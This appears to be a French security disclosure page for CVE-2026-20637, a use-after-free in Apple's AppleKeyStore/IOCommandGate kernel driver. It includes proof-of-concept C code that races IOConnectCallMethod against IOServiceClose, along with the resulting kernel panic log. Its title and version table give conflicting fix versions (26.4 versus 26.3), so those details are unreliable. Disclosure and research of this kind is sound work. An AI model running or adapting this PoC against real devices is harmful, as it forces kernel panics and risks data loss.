
CVE-2026-20637 : Use-After-Free dans AppleSEPKeyStore — vulnérabilité du noyau iOS/macOS (corrigée dans la version 26.4)
CVE-2026-20637 · Enfilade · enfilade.io
Composant : AppleKeyStore
Impact : Une application pourrait être en mesure de provoquer une terminaison inattendue du système.
Description : Un problème d'utilisation après libération a été corrigé grâce à une meilleure gestion de la mémoire.
| iOS | 26.1 – 26.2 (testé) |
| macOS | 26.1 – 26.2 (testé) |
| Composant | com.apple.driver.AppleSEPKeyStore |
| Corrigé | iOS 26.3 / iPadOS 26.3 |
Apple a peut-être corrigé ce problème progressivement entre 26.2.1 et 26.3, les versions intermédiaires peuvent donc ne pas reproduire le bug.
L'exécution du PoC provoquera un kernel panic sur l'appareil. Sauvegardez votre travail avant de l'exécuter. Des panics répétés peuvent entraîner une corruption du système de fichiers. À des fins de recherche en sécurité uniquement.
Use-after-free dans IOCommandGate déclenché via une course dans AppleKeyStore. Huit threads appelants martèlent IOConnectCallMethod sur les sélecteurs 0–15 tandis que quatre threads de fermeture entrent en course avec IOServiceClose, créant une fenêtre où la command gate est accédée après avoir été libérée.
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 threads appelants : martèlent IOConnectCallMethod (priorité élevée)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 threads de fermeture : course IOServiceClose (priorité élevée)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Thread principal : 100 000 connexions, sans délai
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022
: (i % 4 == 1) ? 0xbeef
: (i % 4 == 2) ? 0x1337
: 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// AUCUN DÉLAI — fenêtre de course serrée
}
ios-app/Test.xcodeproj dans Xcode.panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f
Voir LICENSE.